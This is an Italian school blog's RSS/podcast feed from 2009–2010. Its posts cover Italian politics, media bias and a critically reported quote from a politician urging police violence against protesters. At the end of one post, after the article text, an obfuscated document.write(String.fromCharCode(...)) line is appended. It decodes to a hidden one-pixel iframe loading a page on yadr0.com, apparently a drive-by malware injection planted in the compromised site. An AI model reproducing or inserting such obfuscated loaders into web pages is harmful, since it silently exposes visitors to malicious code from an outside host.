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	<title>Reteuropaistruzione Blog&#038;Podcast</title>
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	<description>Un blog che parla di tecnologie nella scuola</description>
	<pubDate>Wed, 18 Aug 2010 16:38:24 +0000</pubDate>
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		<itunes:summary>Un blog per documentare la vita della nostra scuola, aperto a tutti:docenti, alunni, genitori</itunes:summary>
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		<title>Lo statista</title>
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		<pubDate>Wed, 18 Aug 2010 16:26:17 +0000</pubDate>
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«Maroni dovrebbe fare quel che feci io quand’ero ministro dell’Interni. Ritirare le forze di polizia dalle strade e dalle università, infiltrare il movimento [...]]]></description>
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Riporto una delle ultime esternazioni pubbliche dello "statista" scomparso, pronunciata, se non erro, nell'aula di palazzo Madama mentre fuori i ragazzi dell'Onda protestavano contro la riforma Gelmini e si scontravano con i neofascisti

«Maroni dovrebbe fare quel che feci io quand’ero ministro dell’Interni. Ritirare le forze di polizia dalle strade e dalle università, infiltrare il movimento con agenti provocatori pronti a tutto, e lasciare che per una decina di giorni i manifestanti devastino i negozi, diano fuoco alle macchine e mettano a ferro e fuoco le città. Dopo di che, forti del consenso popolare, il suono delle sirene delle ambulanze dovrà sovrastare quello delle auto di polizia e carabinieri. Le forze dell’ordine dovrebbero massacrare i manifestanti senza pietà e mandarli tutti in ospedale. Non arrestarli, che tanto poi i magistrati li rimetterebbero subito in libertà, ma picchiarli a sangue e picchiare a sangue anche quei docenti che li fomentano. Soprattutto i docenti. Non quelli anziani, certo, ma le maestre ragazzine sì»
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		<title>Prospettive</title>
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		<pubDate>Thu, 12 Aug 2010 13:25:41 +0000</pubDate>
		<dc:creator>maestrogiuseppe</dc:creator>
		
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		<description><![CDATA[Il bipolarismo italiano e la sciagurata legge elettorale che ne rappresenta la più eminente incarnazione sembrano ormai arrivati al capolinea. La prospettiva di un ulteriore appello agli elettori per uscire dall’attuale situazione di stallo politico sancisce infatti il fallimento della legge elettorale e del grande inganno del bipartitismo da essa generato. Mai infatti nella storia [...]]]></description>
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		<itunes:summary>Il bipolarismo italiano e la sciagurata legge elettorale che ne rappresenta la più eminente incarnazione sembrano ormai arrivati al capolinea. La prospettiva di un ulteriore appello agli elettori per uscire dall’attuale situazione di stallo politico sancisce infatti il fallimento della legge elettorale e del grande inganno del bipartitismo da essa generato. Mai infatti nella storia repubblicana era stato necessario un duplice ricorso agli elettori nell’intervallo di una legislatura.
Cosa attendersi allora dai prossimi mesi di vita politica?
L’intervento odierno di Montezemolo, che richiama la maggioranza alle sue responsabilità, ma al contempo boccia la deludente stagione politica del berlusconismo, mi fa pensare che sia proprio lui il cavallo scalpitante che potrà consentire ad una nuova inedita alleanza politica, l'alleanza delle fondazioni, il superamento appunto del berlusconismo.
Attorno all’ex presidente Fiat si starebbero coagulando nuovi interessi industriali e politici; inoltre profilo e statura, nonché un certo under statement del personaggio garantirebbero l’apertura di una nuova stagione politica con meno veleni e aria finalmente respirabile.?!?
Se vedrà
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		<title>Su</title>
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		<pubDate>Thu, 14 May 2009 15:47:05 +0000</pubDate>
		<dc:creator>maestrogiuseppe</dc:creator>
		
	<category>società</category>
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Non ci stanchiamo di notare e rimarcare i vizietti di certa informazione che amplifica i guasti della retorica dominante, dimenticando, omettendo, sorvolando sul dettaglio…
Alcuni esempi dalla cronaca più recente:

La riconciliazione, voluta da Napolitano, della guerra civile degli anni ’70. Siamo un paese diviso, nella memoria e nelle ideologie. Il capo dello Stato mette in piedi [...]]]></description>
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Alcuni esempi ...</itunes:subtitle>
		<itunes:summary>Non ci stanchiamo di notare e rimarcare i vizietti di certa informazione che amplifica i guasti della retorica dominante, dimenticando, omettendo, sorvolando sul dettaglio…
Alcuni esempi dalla cronaca più recente:

La riconciliazione, voluta da Napolitano, della guerra civile degli anni ’70. Siamo un paese diviso, nella memoria e nelle ideologie. Il capo dello Stato mette in piedi una riconciliazione simbolica, chiamando a stringersi la mano la moglie di Pinelli e quella del commissario Calabresi.
Piccolo dettaglio sfuggito alle cronache e indirettamente messo in luce dai soliti contestatori: oggi il figlio di Calabresi è direttore di un’ importante testata giornalistica. Ci sfugge il mestiere svolto dal figlio di Pinelli (se ne ha lasciato uno…).
Ma sarà solo una dimenticanza del cronista. O forse la cosa non incuriosisce più di tanto la pubblica opinione…
Sempre in ordine a questo episodio, la stampa si è prodigata nel ricordare tutta una serie di nomi di terroristi del tempo che fu, oggi chi più chi meno riconciliati e/o riabilitati, ovvero latitanti sfuggiti alla giusta condanna come Cesare Battisti.
Sono davvero tanti, la memoria è una bella cosa e come ci si sente a ricordare il tempo che fu della nostra giovinezza!!!
Ma tra i tanti protagonisti di quella stagione, che ormai stiamo chiudendo, sfugge a tutti il nome di Delfo Zorzi. Dimenticanza od omissione? Sarebbe interessante rivolgere la domanda…a Gianni Riotta!
Cronaca del giorno: “Sacconi fischiato replica ai contestatori: risparmiate ossigeno per il cervello”…ma che maleducatoooooooooooo.
(lettura distaccata suggerita a mo’ di giustificazione dal protagonista)
Ma no, guardate che chi mi ha fischiato e contestato è solo la CGIL, mentre io ho il consenso di tutti!
Ecco che una intemerata da gran maleducato viene virgolettata ed acquista dignità giornalistica. Ogni fazioso potrà appropriarsene e riprodurre liberamente l’insulto alla bisogna.
Invece il contenuto verbale della contestazione al ministro, da un punto di vista giornalistico, sarebbe stato più interessante (e più autentico), visto che è venuto fuori nel momento in cui Sacconi ha criticato il pacchetto che Prodi approvò dopo la tragedia di Molfetta del 4 Marzo 2008, in cui morirono 5 operai.
Come potete notare anche qui fa premio LA DIFFERENZA DI CLASSE: il ministro può, sa parlare e quello che dice è riproducibile in un articolo, poi fa anche audience, mentre l’operaio no.
Così succede che neppure l’inclito giornalista di Repubblica, giornale che sale sulle barricate per combattere il premier sul versante gossip/privato, si accorge dell’occasione perduta.
L’occasione di dar voce a chi non ce l’ha, la prima regola del giornalismo etico di cui si sente sempre più il bisogno, in questo nostro martoriato paese.

P.S. Per quanto riguarda le modifiche al Testo Unico sulla sicurezza sul lavoro proposte da Sacconi siamo già intervenuti di recente per segnalare un articolo della stessa testata, Repubblica  


document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))

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